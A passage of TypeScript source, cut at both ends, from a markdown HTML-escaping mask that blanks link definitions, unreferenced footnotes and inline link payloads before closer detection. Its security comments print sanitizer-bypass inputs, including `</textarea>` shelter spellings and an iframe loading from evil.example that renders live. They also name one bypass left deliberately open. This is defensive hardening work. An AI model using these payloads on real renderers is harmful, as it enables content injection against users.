never\n *    this decline;\n *  - a non-delimiter where a title must begin — same;\n *  - an unclosed angle destination — see `parseDestOnLine`.\n *\n * In every case remark EMITS the text, so leaving it visible is required, not\n * merely permitted. This is the same boundary `blankBracketLabels` draws\n * around an inline link's `[…]`.\n */\nfunction parseDefTail(c: string, at: number): DefTail {\n  let q = skipSpaces(c, at);\n  if (q >= c.length) return { k: 'needDest' };\n  const destEnd = parseDestOnLine(c, q);\n  if (destEnd < 0) return { k: 'decline' };\n  q = destEnd;\n  const gap = skipSpaces(c, q);\n  if (gap >= c.length) return { k: 'needTitle' };\n  if (gap === q) return { k: 'decline' };\n  return parseTitleTail(c, gap);\n}\n\n/** The title half of `parseDefTail`, also used for a BARE title continuation\n *  line. Same decline reachability. */\nfunction parseTitleTail(c: string, q: number): DefTail {\n  const close = TITLE_CLOSE[c[q]];\n  if (!close) return { k: 'decline' };\n  const end = parseTitleOnLine(c, q);\n  if (end < 0) return { k: 'openTitle', close };\n  return skipSpaces(c, end) >= c.length ? { k: 'done' } : { k: 'decline' };\n}\n\n/**\n * A definition's CONTINUATION lines carry the blockquote run and indent but\n * never a list marker — a marker would open a new item, not continue the\n * definition. The `{0,16}` indent bound is the same unreachable-as-fail-open\n * cap argued for `LINK_DEF_CONTAINER_PREFIX`: past 16 columns the line is ≥ 4\n * columns beyond the enclosing content column, i.e. INDENTED CODE that\n * `blankIndentedCode` has already blanked.\n */\nconst LINK_DEF_CONT_PREFIX_RE = / {0,3}(?:>[ \\t]?)*[ \\t]{0,16}/y;\n/** `\\[(?!\\^)` — a GFM FOOTNOTE definition is NOT a link reference definition;\n *  its content is block-parsed and may hold real HTML (round 19). */\nconst LINK_DEF_OPEN_RE = new RegExp(`^${LINK_DEF_CONTAINER_PREFIX}\\\\[(?!\\\\^)`);\n\nfunction contPrefixLen(c: string): number {\n  LINK_DEF_CONT_PREFIX_RE.lastIndex = 0;\n  // Every quantifier in the sticky pattern is `{0,n}` / `*`, so it always\n  // matches at index 0 — an empty match has length 0, which is what `?? 0`\n  // stands in for.\n  return LINK_DEF_CONT_PREFIX_RE.exec(c)?.[0].length ?? 0;\n}\n\n/**\n * Walk forward for the `]:` that turns an opened label into a DEFINITION.\n * Crosses lines (a CommonMark label may), bounded by the next blank line.\n *\n * Returns `{ line, colon }` on success, or `{ stoppedAt }` — a RECOGNITION\n * decline whose reachability is:\n *   - a `]` not followed by `:` → a bare shortcut reference or ordinary text,\n *     which remark EMITS, so a closer inside it is real (the exclusion\n *     `blankBracketLabels` already documents);\n *   - an unescaped `[` inside the label → CommonMark rejects the label, so the\n *     whole run is paragraph text;\n *   - the paragraph bound with neither → an ordinary `[`-leading prose\n *     paragraph, which must stay untouched.\n *\n * `stoppedAt` also makes the outer loop LINEAR. Nothing in `[i, stoppedAt)`\n * holds a `]` or `[`, so no line in that window can open a definition either;\n * the caller resumes at `max(stoppedAt, i + 1)` and the per-line work\n * telescopes instead of rescanning the paragraph once per line.\n */\nfunction findLabelClose(\n  lines: MaskLine[],\n  i: number,\n  from: number,\n): { line: number; colon: number } | { stoppedAt: number } {\n  for (let j = i; j < lines.length; j++) {\n    const c = stripCr(lines[j].content);\n    if (j > i && isBlankLine(c)) return { stoppedAt: j };\n    for (let q = j === i ? from : contPrefixLen(c); q < c.length; q = skipEscaped(c, q)) {\n      if (c[q] === '[') return { stoppedAt: j };\n      if (c[q] !== ']') continue;\n      return c[q + 1] === ':' ? { line: j, colon: q + 1 } : { stoppedAt: j };\n    }\n  }\n  return { stoppedAt: lines.length };\n}\n\n/**\n * Blank LINK REFERENCE DEFINITIONS (round 18 — SECURITY).\n *\n * `remark` consumes a definition ENTIRELY and emits no node for it, so a\n * `</textarea>` written in a definition's LABEL, DESTINATION or TITLE is never\n * a real closer — but it survived into the closer haystack, `hasLaterCloser`\n * returned true and a prose `<textarea>` above stayed LIVE. Reproduced\n * byte-identical for `[a]: /x \"</textarea>\"`, `[a]: </textarea>`, the\n * multi-line spellings (round 19), the backslash-escaped delimiters and the\n * multi-line label/title (round 21).\n *\n * FAIL DIRECTION: blank the WHOLE line on a definition-SHAPED match, without\n * modelling \"a definition may not interrupt a paragraph\". Over-blanking here can\n * only hide closers, i.e. escape MORE openers — the fail-CLOSED direction — so\n * the loose shape is the correct bias.\n *\n * FOOTNOTES ARE EXCLUDED (round 19). The label rejects a leading `^`: a GFM\n * footnote definition's content is BLOCK-parsed and may contain REAL html.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankComments` — the shape absorbs\n * an optional blockquote run and one list marker, so a definition written inside\n * a quote or ON a list-marker line is covered by the SINGLE top-level call.\n */\nfunction blankLinkDefinitions(masked: string, lines: MaskLine[]): string {\n  const ranges: Array<[number, number]> = [];\n  const blankLine = (line: MaskLine): void => {\n    ranges.push([line.contentStart, line.contentStart + line.content.length]);\n  };\n\n  /**\n   * THE ONE GIVE-UP CHANNEL. A construct already recognized as a definition can\n   * only ever stop blanking at CommonMark's own bound for it — the next blank\n   * line — never by declining. Returns the index of the last line blanked.\n   * `stop` lets a caller end EARLY on a line it recognises (a closing title\n   * delimiter); returning false everywhere degrades to \"blank to the bound\",\n   * which is the default this channel exists to guarantee.\n   */\n  const blankLinesToParagraphBound = (from: number, stop: (c: string) => boolean): number => {\n    let k = from;\n    for (; k < lines.length; k++) {\n      const c = stripCr(lines[k].content);\n      if (isBlankLine(c)) break;\n      blankLine(lines[k]);\n      if (stop(c)) {\n        k++;\n        break;\n      }\n    }\n    return k - 1;\n  };\n\n  let i = 0;\n  while (i < lines.length) {\n    const line = lines[i];\n    if (line.content.indexOf('[') === -1) {\n      i++;\n      continue;\n    }\n    const open = LINK_DEF_OPEN_RE.exec(line.content);\n    if (!open) {\n      i++;\n      continue;\n    }\n    const close = findLabelClose(lines, i, open[0].length);\n    if ('stoppedAt' in close) {\n      i = Math.max(close.stoppedAt, i + 1);\n      continue;\n    }\n    const head = stripCr(lines[close.line].content);\n    let tail = parseDefTail(head, close.colon + 1);\n    // A late RECOGNITION verdict unwinds the WHOLE construct: remark emits every\n    // line of it as text, so nothing may be blanked.\n    if (tail.k === 'decline') {\n      i = Math.max(close.line, i + 1);\n      continue;\n    }\n    // COMMITTED. From here every exit blanks.\n    for (let j = i; j <= close.line; j++) blankLine(lines[j]);\n    let j = close.line;\n    while (tail.k !== 'done') {\n      if (tail.k === 'openTitle') {\n        const closer = tail.close;\n        j = blankLinesToParagraphBound(j + 1, c => findUnescaped(c, 0, closer) !== -1);\n        break;\n      }\n      const k = j + 1;\n      if (k >= lines.length) break;\n      const c = stripCr(lines[k].content);\n      if (isBlankLine(c)) break;\n      const at = contPrefixLen(c);\n      const next: DefTail = tail.k === 'needDest' ? parseDefTail(c, at) : parseTitleTail(c, skipSpaces(c, at));\n      // The definition is already COMPLETE without this line (a destination-only\n      // definition needs no title; a `[a]:` with no parseable destination is not\n      // a definition at all and remark emits the following line as text), so this\n      // is a RECOGNITION boundary, not a give-up.\n      if (next.k === 'decline') break;\n      blankLine(lines[k]);\n      j = k;\n      tail = next;\n    }\n    i = j + 1;\n  }\n  return blankRanges(masked, mergeRanges(ranges));\n}\n\n/**\n * `[^` after the container prefix — a GFM FOOTNOTE definition opener, the shape\n * `LINK_DEF_OPEN_RE`'s `\\[(?!\\^)` deliberately refuses.\n *\n * The prefix absorbs a blockquote run and ANY NUMBER of list markers, where\n * `LINK_DEF_CONTAINER_PREFIX` stops at one. It has to: this pass is called ONCE\n * at top level (its reference set is document-global, so it cannot be re-run on\n * a container pass's stripped run the way `blankLinkDefinitions` is), and the\n * sweep found `- - [^zz]: … </textarea>` swallowing live at depth 2. Over-\n * detection is fail-CLOSED here — an unreferenced footnote is emitted by\n * nothing, so blanking more of one costs nothing at all.\n *\n * THE MARKER GROUP CARRIES NO LEADING WHITESPACE QUANTIFIER, deliberately. The\n * indent is matched ONCE before the group and afterwards only by each marker's\n * OWN trailing `[ \\t]{1,16}`, so no two quantifiers ever compete for the same\n * whitespace run and a gap has exactly one viable split. The naive spelling\n * (`(?:[ \\t]{0,16}marker[ \\t]{1,16})*`) splits a 2-space gap two ways and\n * backtracks 2^depth on a NON-matching line — `-  -  -  …x` is ordinary prose.\n */\nconst FOOTNOTE_DEF_OPEN_RE = new RegExp(\n  '^ {0,3}(?:>[ \\\\t]?)*[ \\\\t]{0,16}(?:(?:[-*+]|\\\\d{1,9}[.)])[ \\\\t]{1,16})*\\\\[\\\\^',\n);\n/** A blockquote run, WITHOUT swallowing the indent after it — the footnote-body\n *  continuation test has to MEASURE that indent, which `contPrefixLen` eats. */\nconst FOOTNOTE_QUOTE_PREFIX_RE = / {0,3}(?:>[ \\t]?)*/y;\n\n/**\n * micromark's `normalizeIdentifier`, byte-for-byte: collapse every whitespace\n * run to one space, trim, then case-fold via `toLowerCase().toUpperCase()` (the\n * double fold is what makes ß/ẞ and the Turkish dotted I agree). A reference and\n * a definition are the SAME footnote exactly when these agree, so matching on\n * anything looser (raw slices) would call a resolved footnote unreferenced.\n */\nfunction normalizeFootnoteLabel(label: string): string {\n  return label\n    .replace(/[\\t\\n\\r ]+/g, ' ')\n    .replace(/^ | $/g, '')\n    .toLowerCase()\n    .toUpperCase();\n}\n\n/** End index of the label opened by `[^` at `open`, i.e. the index of its\n *  closing `]`, or -1. Escape-aware and single-line, like the construct. An\n *  unescaped `[` inside voids the label exactly as it does for a link label. */\nfunction footnoteLabelEnd(c: string, open: number): number {\n  for (let q = open + 2; q < c.length; q = skipEscaped(c, q)) {\n    if (c[q] === '[') return -1;\n    if (c[q] === ']') return q;\n  }\n  return -1;\n}\n\n/**\n * Blank UNREFERENCED GFM FOOTNOTE DEFINITIONS (round 22 — SECURITY).\n *\n * Round 19 excluded `[^label]:` from `blankLinkDefinitions` and wrote the\n * reason on the exit: a footnote's body is BLOCK-parsed and may hold REAL html,\n * so blanking it would hide a genuine closer and over-escape a genuine element.\n * That reason is true of a REFERENCED footnote and FALSE of an unreferenced one:\n * `remark-gfm` resolves definitions against references and DROPS a definition\n * nothing points at, emitting no node and no footnote section for it. Nothing in\n * its body reaches the document — but the whole line stayed live in the closer\n * haystack, `hasLaterCloser` returned true, and the prose opener above it was\n * left UNESCAPED. Reproduced end-to-end through the real\n * `escapeUnknownHtmlTags → remarkGfm → rehypeRaw → rehypeSanitize` chain:\n *\n *   Secret prose.\n *\n *   <iframe src=\"https://evil.example/x\" width=\"600\">\n *\n *   visible text\n *\n *   [^f]: note body </iframe>\n *\n * → `<p>Secret prose.</p><iframe src=\"https://evil.example/x\" width=\"600\">\n * visible text</iframe>` — a LIVE iframe keeping both attributes and swallowing\n * the prose below. Delete the footnote line and the same input escapes\n * correctly. The lesson the round generalises: a RECOGNITION decline's\n * justification must hold for EVERY sub-case of the construct, not the common\n * one.\n *\n * SO THE DECLINE IS NARROWED, NOT DROPPED. A definition whose label IS\n * referenced keeps round 19's treatment (untouched, body live). A definition\n * whose label is referenced NOWHERE is blanked with its body. That blanking is\n * EXACT for every reference the mask can see — remark emits NONE of those bytes\n * — and OVER-blanks only where an earlier pass has already hidden a REAL\n * reference, which is the fail-CLOSED direction. (Round 23 checked the claim in\n * the over-blank direction, where the older \"EXACT, not merely fail-closed\"\n * wording was false: `blankLinkDefinitions`' `openTitle` exit blanks to the\n * paragraph bound, but an unclosed title makes CommonMark REJECT the definition\n * and read the run as a PARAGRAPH, whose `[^f]` is a genuine reference. Executed:\n * `[a]: /x \"unclosed` + a lazy line holding `[^f]` + `[^f]: body </textarea>`\n * escapes its opener even though remark renders the closer live. Cosmetic, and\n * on the safe side — but do not re-read the sentence as a proof that it cannot\n * happen.)\n *\n * THE PASS READS TWO SOURCES, and the split is the security-load-bearing part\n * (round 23 — this pass's own fail-open):\n *\n *   DEFINITIONS come from the CURRENT MASK (`text`). A definition line hidden\n *   by an earlier pass is simply not seen, which leaves it in the haystack —\n *   round 19's behaviour, the direction this pass was already in.\n *\n *   REFERENCES come from a SEPARATE, MORE-BLANKED scratch copy (`refText`,\n *   built by `footnoteReferenceMask`). Round 22 counted them on the current\n *   mask and justified it with \"a `[^f]` written inside code has already been\n *   blanked\" plus \"a phantom reference degrades to round 19's behaviour, never\n *   worse\". Both sentences are true of CODE and FALSE of every region remark\n *   consumes into an ATTRIBUTE or drops entirely: at this point in the pipeline\n *   `blankInlineLinkPayloads`, `blankBracketLabels` and `blankComments` have\n *   not run yet, so a `[^f]` written in an image ALT, a full-reference LABEL,\n *   an inline link TITLE or angle DESTINATION, an HTML COMMENT or a raw HTML\n *   BLOCK counted as a live reference. remark resolves NONE of those — the\n *   definition it points at is dropped and never becomes document text — so\n *   the phantom kept the definition (and its `</textarea>`) in the closer\n *   haystack, `hasLaterCloser` returned true and the opener above stayed LIVE.\n *   That is a fail-OPEN, not a degradation: TEN spellings reproduced a live\n *   `<textarea>` (or, with an attribute-bearing `<iframe>` opener, a live\n *   iframe) end-to-end. Verified phantom-ness independently —\n *   `visible text ![x [^f] y](/i.png)` + `[^f]: body` emits NO `data-footnotes`\n *   section at all, while the same input with a real reference does.\n *\n *   The scratch copy may over-blank freely: counting FEWER references only\n *   blanks MORE definitions, which is the fail-CLOSED direction.\n *\n * CONTAINER-NESTED CODE IS NOT A HOLE — round 22's hedge (\"a reference inside\n * such a region still counts, because the container passes run AFTER this one\")\n * was over-pessimistic and is retracted. MEASURED, with a type-6 opener so the\n * shape is not confounded by the opener's own HTML block: a `[^f]` inside a\n * blockquoted fence, a list-item fence at content column 2 AND at 4, a\n * quoted-list fence, a top-level fence and indented code all render 0 live\n * elements — every one of those regions is ALREADY blanked by\n * `blankFencedRegions` / `blankIndentedCode` before this pass reads the mask.\n *\n * THE ONE NAMED RESIDUAL is TRANSITIVE: a reference that exists ONLY inside\n * ANOTHER, itself-unreferenced, definition's body (`[^a]: see [^f]` with nothing\n * referencing `a`). remark drops both definitions, so `[^f]`'s is a phantom too,\n * but this pass counts references ONCE and would need a FIXPOINT (blank, rebuild\n * the ref-mask, recount) to see it. Deliberately not built: the loop is\n * unbounded in the number of definitions, and the shape needs an attacker to\n * plant a second dead definition. Reproduced and left standing knowingly — if it\n * is ever closed, close it with a bounded iteration count, not an unbounded one.\n *\n * BODY BOUND: the label line, its LAZY paragraph continuation lines, and any\n * further blocks indented >= 4 columns past the blockquote run — GFM's own\n * \"content of a footnote is what an indented continuation would give a list\n * item\". The walk stops at a de-indented line after a blank one, and at another\n * footnote-definition line, so a following REFERENCED footnote is not\n * over-blanked into escaped source.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, and MORE so than `blankLinkDefinitions`:\n * the reference set is document-GLOBAL, so unlike that pass this one cannot be\n * re-run on a container pass's stripped run to reach deeper nesting. Its opener\n * prefix therefore absorbs any number of list markers itself (see\n * `FOOTNOTE_DEF_OPEN_RE`), and the single top-level call covers every depth.\n */\nfunction blankUnreferencedFootnotes(masked: string, lines: MaskLine[], folded: string): string {\n  // `[^` is rare and the whole pass is a no-op without one, so one native scan\n  // buys the overwhelming majority of documents a total skip. This pass runs\n  // over EVERY line of the document; without the guard and the `indexOf` walk\n  // below it would be the most expensive one in the mask, for a construct\n  // almost nothing contains (measured: no regression at 989 KB on a corpus with\n  // no footnotes at all).\n  if (masked.indexOf('[^') === -1) return masked;\n  // The MASK's text for a line, sliced on demand. `remapToMask` would allocate a\n  // second object per line of the whole document for a pass that usually touches\n  // one of them.\n  const text = (line: MaskLine): string =>\n    stripCr(masked.slice(line.contentStart, line.contentStart + line.content.length));\n  // …and the REFERENCE-ONLY copy, blanked further (see `footnoteReferenceMask`).\n  // Built ONLY past the `[^` guard, so a document without footnotes pays nothing.\n  // Length-preserving like every other mask, so an index means the same byte in\n  // both copies.\n  const refMask = footnoteReferenceMask(masked, folded);\n  const refText = (line: MaskLine): string =>\n    stripCr(refMask.slice(line.contentStart, line.contentStart + line.content.length));\n\n  // PASS 1 — the DEFINITION on each line (from the mask) and every `[^label]`\n  // that is a REFERENCE (from the ref-mask). A group is a DEFINITION only where\n  // the line-anchored opener shape puts it AND a `:` follows; every other\n  // `[^…]`, including a mid-line `see [^f]: here`, is a reference to remark.\n  // Occurrences are reached with `indexOf`, never a per-character walk: the pass\n  // runs over EVERY line of the document and a char walk would make it the most\n  // expensive one in the mask for a construct almost no line contains.\n  const referenced = new Set<string>();\n  const defAt: Array<number | null> = [];\n  for (const line of lines) {\n    const c = text(line);\n    let isDef: number | null = null;\n    if (c.indexOf('[^') !== -1) {\n      const open = FOOTNOTE_DEF_OPEN_RE.exec(c);\n      if (open !== null) {\n        // The opener is line-anchored past a whitespace/marker prefix, so its\n        // `[` can never carry a backslash escape — the prefix would not match.\n        const defOpen = open[0].length - 2;\n        const end = footnoteLabelEnd(c, defOpen);\n        if (end !== -1 && c[end + 1] === ':') isDef = defOpen;\n      }\n    }\n    defAt.push(isDef);\n    const rc = refText(line);\n    for (let q = rc.indexOf('[^'); q !== -1; q = rc.indexOf('[^', q)) {\n      // Escape-aware without the walk: an ODD run of backslashes before the `[`\n      // escapes it, an EVEN one is escaped backslashes and leaves `[` live.\n      let back = q;\n      while (back > 0 && rc[back - 1] === '\\\\') back--;\n      if ((q - back) % 2 === 1) {\n        q += 2;\n        continue;\n      }\n      const end = footnoteLabelEnd(rc, q);\n      if (end === -1) break;\n      if (q !== isDef) referenced.add(normalizeFootnoteLabel(rc.slice(q + 2, end)));\n      q = end + 1;\n    }\n  }\n\n  // PASS 2 — blank each definition whose label nothing references, body included.\n  // Slices the REAL mask, never the ref-mask.\n  const ranges: Array<[number, number]> = [];\n  for (let i = 0; i < lines.length; i++) {\n    const at = defAt[i];\n    if (at === null) continue;\n    const head = text(lines[i]);\n    const end = footnoteLabelEnd(head, at);\n    if (referenced.has(normalizeFootnoteLabel(head.slice(at + 2, end)))) continue;\n    let j = i;\n    let sawBlank = false;\n    for (let k = i + 1; k < lines.length; k++) {\n      const c = text(lines[k]);\n      if (isBlankLine(c)) {\n        sawBlank = true;\n        continue;\n      }\n      // A second definition ends this one; over-blanking a REFERENCED\n      // neighbour's body would show it as escaped source (cosmetic, but avoidable).\n      if (defAt[k] !== null) break;\n      // After a blank line only an INDENTED block continues the footnote; before\n      // one, any non-blank line is a lazy paragraph continuation.\n      if (sawBlank && footnoteIndentCols(c) < 4) break;\n      j = k;\n    }\n    for (let k = i; k <= j; k++) {\n      const line = lines[k];\n      ranges.push([line.contentStart, line.contentStart + line.content.length]);\n    }\n  }\n  return blankRanges(masked, mergeRanges(ranges));\n}\n\n/**\n * The REFERENCE-COUNTING copy of the mask for `blankUnreferencedFootnotes`\n * (round 23 — SECURITY, that pass's own fail-open).\n *\n * A `[^f]` only makes a definition REFERENCED if remark resolves it as a\n * reference. Everything remark consumes into an ATTRIBUTE or drops outright is\n * a PHANTOM, and at this point in the pipeline none of those regions are masked\n * yet, so this copy applies the four passes that hide them:\n *\n *   `blankInlineLinkPayloads` — an inline link/image DESTINATION or TITLE\n *     (`[a](/x \"[^f]\")`, `[a](<[^f]>)`, `![a](/x '[^f]')`) becomes href/title.\n *   `blankBracketLabels`, WITHOUT its footnote-label ranges — an image ALT\n *     (`![[^f]](/i.png)`) and a full-reference LABEL (`[txt][[^f]]`) become an\n *     attribute or an identifier. The `[^…]` ranges MUST be excluded: that pass\n *     blanks a footnote label \"reference AND definition alike\", which here\n *     would erase EVERY real reference and over-blank every referenced\n *     definition into escaped source.\n *   HTML BLOCK ranges — inside a `<div>` … block the line `[^f]` is raw HTML\n *     content, not a reference. Reuses `computeHtmlBlockRanges`, the module's\n *     own CommonMark block model, so this copy cannot disagree with the carve.\n *   `blankComments` — `<!-- [^f] -->` is dropped entirely. LAST, as everywhere\n *     else, because it scans the masked copy. (The pipeline's own comment pass\n *     still runs last over the REAL mask; this is a separate string.)\n *\n * OVER-BLANKING HERE IS FREE: fewer references means more definitions look\n * unreferenced, which blanks MORE of the haystack — the fail-CLOSED direction.\n * That is why this copy may apply passes out of the pipeline's order and may\n * use a block model that only approximates remark's.\n */\n/** AUTOLINKS, both spellings, DELIBERATELY over-wide (this regex is only ever\n *  applied to the reference-counting copy, where over-blanking is free): a\n *  CommonMark `<scheme:…>` autolink and a GFM LITERAL autolink both become an\n *  `href`, so `<https://e.example/[^f]>` and `https://e.example/x[^f]y` are\n *  phantom references — each reproduced a live iframe. It stops at whitespace,\n *  so an ordinary `see https://e.example [^f]` keeps its REAL reference. Email\n *  autolinks are deliberately absent: a `[` voids the email shape, so `[^f]`\n *  inside one IS a real reference (verified — remark emits the footnote). */\nconst AUTOLINK_LIKE_RE = /<[a-z][a-z0-9+.-]{1,31}:[^\\s<>]*>|(?:https?:\\/\\/|www\\.)[^\\s<]*/gi;\n\nfunction footnoteReferenceMask(masked: string, folded: string): string {\n  let ref = blankInlineLinkPayloads(masked, folded);\n  ref = blankBracketLabels(ref, folded, { footnoteLabels: false });\n  ref = blankRanges(ref, mergeRanges(computeHtmlBlockRanges(folded).map(({ start, end }) => [start, end])));\n  ref = blankComments(ref, ref);\n  ref = ref.replace(AUTOLINK_LIKE_RE, m => ' '.repeat(m.length));\n  return blankTagAttributes(ref);\n}\n\n/** Blank the ATTRIBUTE RUN of every tag-like span, length-preserving. Blanking\n *  the WHOLE tag would blank real `</tag>` closers too, so only the run between\n *  the tag name and the `>` is cleared. Shared by `buildCloserHaystack`'s final\n *  step and by `footnoteReferenceMask`, where an INLINE tag's attribute is one\n *  more region remark never resolves a `[^f]` in (`<span title=\"[^f]\">`\n *  reproduced a live iframe). */\nfunction blankTagAttributes(masked: string): string {\n  return masked.replace(\n    TAG_LIKE_REGEX,\n    (_m, slash: string, tag: string, rest: string, selfClose: string) =>\n      `<${slash}${tag}${' '.repeat(rest.length)}${selfClose}>`,\n  );\n}\n\n/** Leading indent of `c` in COLUMNS (tabs advance to the next multiple of 4)\n *  measured PAST the blockquote run, which is the column GFM measures a\n *  footnote's continuation blocks at. */\nfunction footnoteIndentCols(c: string): number {\n  FOOTNOTE_QUOTE_PREFIX_RE.lastIndex = 0;\n  // Nullable sticky prefix — always matches at index 0, empty at worst.\n  let q = FOOTNOTE_QUOTE_PREFIX_RE.exec(c)?.[0].length ?? 0;\n  let col = 0;\n  for (; q < c.length && isSpaceTab(c[q]); q++) col = c[q] === '\\t' ? col + 4 - (col % 4) : col + 1;\n  return col;\n}\n\n/**\n * Blank the PARENTHESISED PAYLOAD of an INLINE link or image (round 19 —\n * SECURITY, a whole shelter class the table did not name).\n *\n * remark consumes an inline link's DESTINATION and TITLE exactly as it consumes\n * a reference definition's: both become href/title ATTRIBUTES on the emitted\n * node and never reach the document as HTML. So a `</textarea>` written in\n * either one is not a closer — but `blankLinkDefinitions` only covers the\n * DEFINITION spelling, and no pass covered the inline one. All eight spellings\n * reproduced live (`escapeUnknownHtmlTags` byte-identical, one live\n * `<textarea>` swallowing the prose above it):\n *\n *   [a](/x \"</textarea>\")   [a](/x '</textarea>')   [a](/x (</textarea>))\n *   ![a](/x \"</textarea>\")  [a](</textarea>)        > [a](/x \"</textarea>\")\n *   - [a](/x \"</textarea>\") See [a](/x \"</textarea>\") for more.\n *\n * …and the escalation: an `<iframe src=\"…\" width=\"600\">` opener plus a title\n * shelter yields a LIVE iframe retaining both attributes.\n *\n * ONLY THE PAYLOAD IS BLANKED HERE, never the `[…]` text of an INLINE LINK\n * (`[text](dest)`). That text is INLINE-PARSED and reaches the document as\n * HTML, so blanking it would over-escape a paired `<textarea>…</textarea>`\n * written inside a link label. The bracket text of every OTHER spelling — an\n * IMAGE's alt, a reference LABEL, a footnote LABEL — is consumed into an\n * attribute or an identifier instead, and is blanked by `blankBracketLabels`\n * below. Round 20 found that half uncovered.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankLinkDefinitions` and\n * `blankComments`: the scan is anchored on the `](` bigram with no column or\n * prefix anchoring, so a blockquote run or list marker is ordinary text ahead of\n * it and the single top-level call covers every container nesting.\n *\n * FAIL DIRECTION: blanks ONLY on a payload that parses through to its closing\n * `)`. A shape that does not parse is not a link to remark either, so its\n * `</textarea>` IS a real closer and must stay visible — declining to blank is\n * the correct answer there, not a gap. Conversely the parse is deliberately\n * LOOSER than CommonMark (it accepts payloads remark would reject, e.g. after a\n * `](`-shaped bigram in ordinary prose), and every such over-detection only\n * hides closers, i.e. escapes MORE openers.\n *\n * THE CAP IS A BLANKING BOUNDARY, NOT A REJECTION (round 20 — SECURITY).\n * `INLINE_LINK_PAYLOAD_MAX` bounds how far one `](` may blank, so a stray\n * bigram cannot blank an unbounded tail. It was originally spent as `return -1`\n * on every over-limit exit, which the caller reads as \"not a link, leave\n * visible\" — so `[a](/x \"<1100 chars></textarea>\")` sheltered its closer in\n * full view of the mask (`escapeUnknownHtmlTags` byte-identical, one live\n * RAWTEXT element; the `<iframe src=… width=…>` spelling kept both attributes).\n * CommonMark places NO length bound on a destination or a title, so that is\n * ordinary output, and this is the SAME fail-open shape `ba4a526b` closed for\n * over-cap inline code spans, reintroduced in newer code.\n *\n * A CAP-driven exit therefore returns `limit` — \"blank through the cap\" — while\n * a SHAPE-driven exit still returns -1. The two are distinguished by testing\n * `q >= limit` BEFORE the shape test at every exit; over-blanking a bounded\n * window is the fail-CLOSED direction, declining on a genuinely unparseable\n * shape is the deliberate one.\n *\n * AND THE CAP-DRIVEN EXIT MUST BLANK PAST THE CAP, not to it. Blanking exactly\n * `[from, limit)` still leaves the shelter live whenever the sheltered closer\n * sits BEYOND the cap — which is the ordinary case, since the filler is what\n * pushed the payload over it (measured: `[a](/x \"<1100 y's></textarea>\")` was\n * STILL a byte-identical no-op with a to-the-cap blank). So the caller widens a\n * capped payload to the end of its PARAGRAPH — CommonMark's own bound, since\n * neither a destination nor a title may contain a blank line. The cap therefore\n * only decides WHEN to stop parsing, never how little to blank, and a stray\n * `](` still cannot blank an unbounded tail: it fails on SHAPE and blanks\n * nothing.\n *\n * \"FAILS ON SHAPE\" HAS TO INCLUDE RUNNING OUT OF INPUT (round 22). It did not:\n * `limit` is `min(s.length, from + MAX)`, so a payload that simply reached the\n * END OF THE DOCUMENT hit the same `q >= limit` tests as a capped one and\n * returned `limit`, which the caller widened to `paragraphEnd`. `see [a](/x` at\n * end of input therefore blanked its paragraph tail (`see [a](  `) even though\n * nothing there is a link. Safe direction, but that is the COMMON shape while\n * STREAMING — the last token of a partial message is often a half-written link\n * — so an earlier opener was escaped mid-stream and unescaped when the link\n * completed, a visible flicker. The two are now distinguished by `overflow`:\n * `limit` only when input remains PAST the cap, -1 when the input is exhausted.\n * The cap path still blanks THROUGH (round 20's fix is untouched).\n */\nconst INLINE_LINK_PAYLOAD_MAX = 1024;\n\nconst isInlineSpace = (ch: string): boolean =>\n  ch === ' ' || ch === '\\t' || ch === '\\n' || ch === '\\r' || ch === '\\f' || ch === '\\v';\n\n/** Index of the payload's closing `)`, or the cap index when the payload runs\n *  past `INLINE_LINK_PAYLOAD_MAX` (blank through the cap), or -1 when the shape\n *  does not parse. `from` is the index just past the `](`. */\nfunction parseInlineLinkPayload(s: string, from: number): number {\n  const limit = Math.min(s.length, from + INLINE_LINK_PAYLOAD_MAX);\n  // What a `q >= limit` exit MEANS, which is not one thing (round 22):\n  //  - the CAP truncated a payload that still has input after it → `limit`,\n  //    \"blank through the cap\" (round 20; the caller widens to `paragraphEnd`);\n  //  - the INPUT RAN OUT → -1, a SHAPE decline. Nothing closed the payload and\n  //    nothing ever will in this document, so it is not a link to remark\n  //    either. This is the ordinary STREAMING tail (`see [a](/x` as the last\n  //    token), where returning `limit` widened the blank to the paragraph end\n  //    and escaped an earlier opener that unescaped again once the link\n  //    completed — a visible flicker.\n  const overflow = limit < s.length ? limit : -1;\n  let q = from;\n  while (q < limit && isInlineSpace(s[q])) q++;\n  // DESTINATION — angle-bracketed, or a bare run with BALANCED parens.\n  if (s[q] === '<') {\n    q++;\n    while (q < limit && s[q] !== '>' && s[q] !== '\\n') q += s[q] === '\\\\' ? 2 : 1;\n    if (q >= limit) return overflow;\n    if (s[q] !== '>') return -1;\n    q++;\n  } else {\n    let depth = 0;\n    while (q < limit) {\n      const ch = s[q];\n      if (ch === '\\\\') {\n        q += 2;\n        continue;\n      }\n      if (isInlineSpace(ch)) break;\n      if (ch === '(') depth++;\n      else if (ch === ')') {\n        if (depth === 0) break;\n        depth--;\n      }\n      q++;\n    }\n    if (q >= limit) return overflow;\n    if (depth !== 0) return -1;\n  }\n  // TITLE — `\"…\"`, `'…'` or `(…)`, separated from the destination by space.\n  const beforeGap = q;\n  while (q < limit && isInlineSpace(s[q])) q++;\n  const open = s[q];\n  if (q > beforeGap && (open === '\"' || open === \"'\" || open === '(')) {\n    const close = open === '(' ? ')' : open;\n    let depth = 1;\n    q++;\n    while (q < limit) {\n      const ch = s[q];\n      if (ch === '\\\\') {\n        q += 2;\n        continue;\n      }\n      if (open === '(' && ch === '(') depth++;\n      else if (ch === close && --depth === 0) break;\n      q++;\n    }\n    if (q >= limit) return overflow;\n    if (s[q] !== close) return -1;\n    q++;\n    while (q < limit && isInlineSpace(s[q])) q++;\n  }\n  if (q >= limit) return overflow;\n  return s[q] === ')' ? q : -1;\n}\n\n/** Start index of the first BLANK line at or after `from`, i.e. the end of the\n *  paragraph `from` sits in — the widest span an inline construct may cover. */\nfunction paragraphEnd(s: string, from: number): number {\n  let lineStart = s.indexOf('\\n', from);\n  while (lineStart !== -1) {\n    lineStart += 1;\n    const next = s.indexOf('\\n', lineStart);\n    const line = s.slice(lineStart, next === -1 ? s.length : next);\n    if (isBlankLine(line)) return lineStart;\n    if (next === -1) break;\n    lineStart = next;\n  }\n  return s.length;\n}\n\nfunction blankInlineLinkPayloads(masked: string, source: string): string {\n  const ranges: Array<[number, number]> = 